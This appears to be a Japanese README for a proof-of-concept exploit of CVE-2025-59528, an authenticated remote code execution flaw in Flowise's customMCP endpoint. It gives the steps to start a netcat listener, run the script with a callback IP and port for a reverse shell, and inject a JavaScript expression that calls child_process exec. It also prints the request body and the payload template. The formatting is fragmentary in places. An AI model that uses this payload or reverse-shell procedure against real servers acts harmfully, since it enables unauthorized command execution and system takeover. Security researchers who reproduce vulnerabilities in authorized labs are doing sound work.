
CVE-2025-59528の概念実証であり、mcpServerConfigインジェクションを介したFlowiseにおける認証済みリモートコード実行を実証し、許可されたテストのための再現手順を含みます。
認可された環境における脆弱性の技術的検証に焦点を当てた最小限のPoCです。
nc -lvn 4444)。まずリスナーを起動します:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
値を認可された環境の設定に置き換えてください。
3.0.5 未満リモートコード実行(RCE)POST /api/v1/node-load-method/customMCP エンドポイントこの問題は inputs.mcpServerConfig の処理方法に起因します。この値はサーバーサイドでのJavaScript実行を可能にする方法で解釈されます。実際には、認証された攻撃者が child_process を呼び出してOSコマンドを実行する式を注入できます。
悪用の流れは以下の通りです:
customMCP エンドポイントへのリクエストを構築します。mcpServerConfig に悪意のあるJavaScript式を配置します。process.mainModule.require('child_process') をトリガーします。exec/execSync)を実行します。受け入れられた場合、サーバーはそのシステムコンテキストでコマンドを実行します。
poc.py)このスクリプトは4つの引数を取ります:
-d/--domain: 対象ドメイン-lh/--host: コールバックIP-lp/--port: コールバックポート-A/--api: Bearer APIトークンその後、以下の処理を行います:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token> ヘッダーを追加します({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
EDBのPoC(メール/パスワードログインを実行し、ブラウザ風のヘッダーを使用し、自由形式の --cmd を実行する)と比較して、このスクリプトは純粋なPoC検証に適しています:
mcpServerConfig の注入とサーバーサイド実行。要するに:EDBスクリプトはより汎用的な攻撃デモである一方、このPoCは技術的な再現性に特化しています。
https モードや証明書の処理はありません。--cmd でパラメータ化されていません)。所有しているシステム、または明示的な許可を得たシステムでのみテストしてください。